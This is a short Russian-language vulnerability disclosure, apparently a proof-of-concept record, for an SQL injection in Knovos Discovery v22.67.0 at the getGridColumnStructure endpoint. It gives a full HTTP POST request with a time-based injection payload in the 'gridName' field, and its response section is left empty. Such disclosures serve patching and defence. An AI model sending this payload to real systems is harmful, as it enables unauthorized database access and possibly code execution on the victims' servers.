
Эксплойт, подтверждающий концепцию, для SQL-инъекции в Knovos Discovery v22.67.0, демонстрирующий удалённое выполнение кода через конечную точку getGridColumnStructure.
Уязвимость SQL-инъекции в Knovos Discovery v.22.67.0 позволяет удаленному злоумышленнику выполнить произвольный код через компонент /DiscoveryProcess/Service/Admin.svc/getGridColumnStructure
SQL-инъекция
Knovos Discovery
Версия 22.67.0 - Версия 22.67.0
/DiscoveryProcess/Service/Admin.svc/getGridColumnStructure
Удаленный
true
true
авторизованный пользователь
Запрос:
POST /DiscoveryProcess/Service/Admin.svc/getGridColumnStructure?caseMappingId=*** HTTP/1.1
Host: vuln_host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 73
Connection: close
{
"gridName":"Inventory-grid' waitfor delay'0:0:50'--",
"uID":"10"
}
Ответ:
